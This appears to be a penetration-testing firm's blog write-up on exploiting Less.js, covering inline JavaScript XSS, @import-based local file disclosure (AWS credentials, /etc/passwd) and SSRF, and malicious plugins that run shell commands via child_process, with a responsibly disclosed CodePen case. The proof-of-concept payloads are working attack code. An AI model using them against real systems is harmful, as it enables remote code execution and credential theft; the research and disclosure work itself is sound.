Exploiting Less.js to Achieve Remote Code Execution (RCE)

‍Less (less.js) is a preprocessor language that transpiles to valid CSS code. It offers functionality to help ease the writing of CSS for websites. 

According to StateofCss.org's 2020 survey, Less.js was the second-most-popular preprocessor. 

While performing a pentest for one of our Penetration Testing as a Service (PTaaS) clients, we found an application feature that enabled users to create visualizations with custom styling. One of the visualizations allowed users to enter valid Less code, which was transpiled to CSS on the client side. 

This looked like a place that needed a closer look. 

Less has some interesting features, especially from a security perspective. Less before version 3.0.0 allowed JavaScript to be included by default using the backtick operator. The following is considered valid: Less code.

@bodyColor: `red`;
body {
  color: @bodyColor;
}

which will output

body {
  color: red;
}

Inline JavaScript evaluation was documented back in 2014 and can be seen here near the header "JavaScript Evaluation".

‍

Standing on the shoulders of giants

RedTeam Pentesting documented the inline JavaScript backtick behaviour as a security risk in an advisory that was released in 2016.  They warned that it could lead to RCE in certain circumstances. The following is a working proof-of-concept from their excellent blog post:

$ cat cmd. less
@cmd: `global.process.mainModule.require("child_process").execSync("id")`;
.redteam { cmd: "@{cmd}" }

As a result, Less versions 3.0.0 and newer disallow inline JavaScript via backticks by default and can be reenabled via the {javascriptEnabled: true} option.

Next, we return to our PTaaS client test, where the Less version was pre-3.0.0 and transpiled on the client side, enabling inline JavaScript execution by default. This resulted in a nice DOM-based stored cross-site scripting vulnerability with a payload like the following:

body {
color: `alert('xss')`;
}

The above pops an alert that notifies that the XSS payload was successful once the Less code is transpiled. This was a great find for our client, but it wasn't enough to scratch our itch. We started probing the remaining available features to see if any other dangerous behaviour could be exploited.

The bugs

Import (inline) Syntax

The first bug is a result of the enhanced import features of Less.js, which contains an inline mode that doesn't interpret the requested content. This can be used to request local or remote text content and return it in the resulting CSS. 

In addition, the Less processor accepts URLs and local file references in its @import statements without restriction. This can be used for SSRF and local file disclosure when the Less code is processed on the server-side. The following steps first demonstrate a potential local file disclosure, followed by an SSRF vulnerability.

Local file disclosure PoC

1. Create a Less file like the following:

// File: bad. less
@import (inline) "../../.aws/credentials";

2. Launch the lessc command against your less file,

lessc bad. less

3. Notice the output contains the referenced file 

Less $ .\node_modules\.bin\lessc .\bad.less
[default]
aws_access_key_id=[MASKED]
aws_secret_access_key=[MASKED]

SSRF

1. Start a web server on localhost serving a Hello World message
2. Create a Less file like the following:

• // File: bad .less
1: @import (inline) "http://localhost/";

3. Launch the lessc command against your less file

• lessc bad.less

4. Notice the output contains the referenced content

• Less $ .\node_modules\.bin\lessc .\bad.less
Hello World

Plugins

The Less.js library supports plugins that can be included directly in the Less code from a remote source using the @plugin syntax. Plugins are written in JavaScript, and when the Less code is interpreted, any included plugins will execute. This can lead to two outcomes depending on the context of the Less processor. If the Less code is processed on the client side, it leads to cross-site scripting. If the Less code is processed on the server side, it can lead to remote code execution. All versions of Less that support the @plugin syntax are vulnerable.

The following two snippets demonstrate a Less.js plugin vulnerable to XSS attacks.

Version 2:

// plugin-2.7.js
functions.add('cmd', function(val) {
  return val;
}); 

Version 3 and up

// plugin-3.11.js
module.exports = {
  install: function(less, pluginManager, functions) {
    functions.add('ident', function(val) {
      return val;
    });
  }
};

Both of these can be included in the Less code in the following way and can even be fetched from a remote host:

@plugin "plugin-2.7.js";

or

@plugin "http://example.com/plugin-2.7.js"

The following example snippet shows how an XSS attack could be carried out:

window.alert('xss')
functions.add('cmd', function(val) {
  return val;
}); 

Plugins become even more severe when transpiled on the server-side. The first two examples show version 2.7.3

The following plugin snippet (v2.7.3) shows how an attacker might achieve remote code execution (RCE):

functions.add('cmd', function(val) {
  return `"${global.process.mainModule.require('child_process').execSync(val.value)}"`;
});

And the malicious less that includes the plugin:

@plugin "plugin.js";

body {
color: cmd('whoami');
}

The following is the equivalent for version 3.13.1

Vulnerable plugin (3.13.1):

registerPlugin({
    install: function(less, pluginManager, functions) {
        functions.add('cmd', function(val) {
            return global.process.mainModule.require('child_process').execSync(val.value).toString();
        });
    }
})

The malicious Less code looks the same as above. Versions 4x, the malicious plugins above still work.

Real-world example: Codepen.io

CodePen.io is a popular website for creating web code snippets and supports standard languages, as well as others like Less.js. Since CodePen accepts security issues from the community, we tried our proofs of concept to verify the results of our research.

As a result, we found it possible to perform the above attack using plugins on their website. We were able to leak their AWS secret keys and run arbitrary commands inside their AWS Lambdas.

The following shows reading environment values using the local file inclusion bug.

@import (inline) "/etc/passwd";

<style type="text/css" class="INLINE_PEN_STYLESHEET_ID">root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...snip...
ec2-user:x:1000:1000:EC2 Default User:/home/ec2-user:/bin/bash
rngd:x:996:994:Random Number Generator Daemon:/var/lib/rngd:/sbin/nologin
slicer:x:995:992::/tmp:/sbin/nologin
sb_logger:x:994:991::/tmp:/sbin/nologin
sbx_user1051:x:993:990::/home/sbx_user1051:/sbin/nologin
sbx_user1052:x:992:989::/home/sbx_user1052:/sbin/nologin
...snip...
</style>

The next screenshot shows using the Less plugin feature to gain RCE.

‍

We responsibly disclosed the issue, and the issue is now fixed.

References

1. http://web.archive.org/web/20140202171923/http://www.lesscss.org/
2. Less.js: Compilation of Untrusted LESS Files May Lead to Code Execution through the JavaScript Less Compiler
3. Executing JavaScript In The LESS CSS Precompiler
4. Features In-Depth | Less.js

‍